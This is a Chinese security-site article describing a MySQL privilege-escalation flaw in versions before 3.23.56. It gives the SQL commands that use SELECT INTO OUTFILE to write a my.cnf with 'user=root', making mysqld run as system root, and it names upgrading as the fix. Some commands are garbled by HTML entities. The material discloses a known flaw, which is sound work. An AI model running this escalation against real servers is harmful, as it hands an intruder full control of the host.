首页 | 编程语言 | 网站建设 | 游戏天堂 | 冲浪宝典 | 网络安全 | 操作系统 | 软件时空 | 硬件指南 | 病毒相关 | IT 认证
软讯网络 > 网络安全 > 黑客技术 > MySQL ROOT用户可得到系统ROOT权限
【标  题】:MySQL ROOT用户可得到系统ROOT权限
【关键字】:系统,SQL,OO,RO,权限,My,MySQL,ROOT,MySQL,ROOT,ROOT
【来  源】:网络

MySQL ROOT用户可得到系统ROOT权限

在 /etc 目录下有 my.cnf的情况下,通过以下操作,可让mysqld在重新启动之后以ROOT身份运行,

用mysql root连接并输入如下命令:

mysql>CREATE DATABASE roottext;
mysql>USE roottext;
mysql>CREATE TABLE hack (conf VARCHAR(80));
mysql>INSERT IN hack &#118alueS ('[mysqld]');
mysql>INSERT IN hack &#118alueS ('user=root');
mysql>SELECT * INTO OUTFILE '/path/to/mysql/datadir/my.cnf' FROM hack
mysql>QUIT

这样便在mysql的数据目录创建一个含有下面内容的文件my.cnf

[mysqld]
user=root

在mysql重起之后,此文件将覆盖 /etc/my.cnf的内容,mysqld将以root身份运行,这意味着你也同时拥有系统的root权限了,如通过使用创建适当形式的数据表并通过 INTO OUTFILE 创建或改写目标主机上任意文件等

说明:

尽管此漏洞需要获得MySQL的root密码,这事实上是大多数系统root才掌握的密码。不过因为此密码通常比系统的root密码更容易得到,如果入侵者获得此密码,利用此漏洞,这个系统将彻底被控制。特别在mysql <= 3.23.53 的情况下,得到mysql的root的exploit已经早就能在internet上找到了。因此这个漏洞具有相当大的危险性

有此漏洞版本:小于 MySQL 3.23.56 的所有版本

解决方法:升级到 MySQL 3.23.56
你看的懂的入侵方法(NT篇):【上一篇】
扫描到的端口到底有什么用?:【下一篇】
【相关文章】
  • 用DOS命令破除UNIX系统管理员口令
  • Linux环境下日志式文件系统面面观
  • 检测某账户对默认权限目录是否可写的脚本
  • FrontPage Extended Privilege Hole 的简单利用说明
  • 一次系统入侵后的修复过程
  • 取得WINDOWS的管理员权限的秘诀
  • DISCUZ漏洞与提升权限
  • Mac OS X 存在用ROOT权限执行任意指令漏洞
  • 实践phpbb论坛非法权限提升的漏洞
  • 入侵检测系统原理和实践(3)
  • 【随机文章】
  • 设计模式学习笔记(四)——Builder生成器模式
  • 浅谈如何学习linux (zhuan)
  • 我希望加入
  • ADSL PPPOE 出错详解
  • 如何提高自己的Blog在Goolge中的排名
  • VBScript Year 函数
  • NBU异机恢复ORACLE 数据库.
  • HOWTO--如何生成还有日期格式的文件名
  • Best Practices in Software Test Automation
  • FreeBSD连载(55):Ports Collection
  • 【相关评论】
    没有相关评论
    【发表评论】
    姓名:
    邮件:
    随机码*
    评论*
          
    |  首 页  |  版权声明  |  联系我们   |  网站地图  |
    CopyRight © 2004-2007 软讯网络 All Rigths Reserved.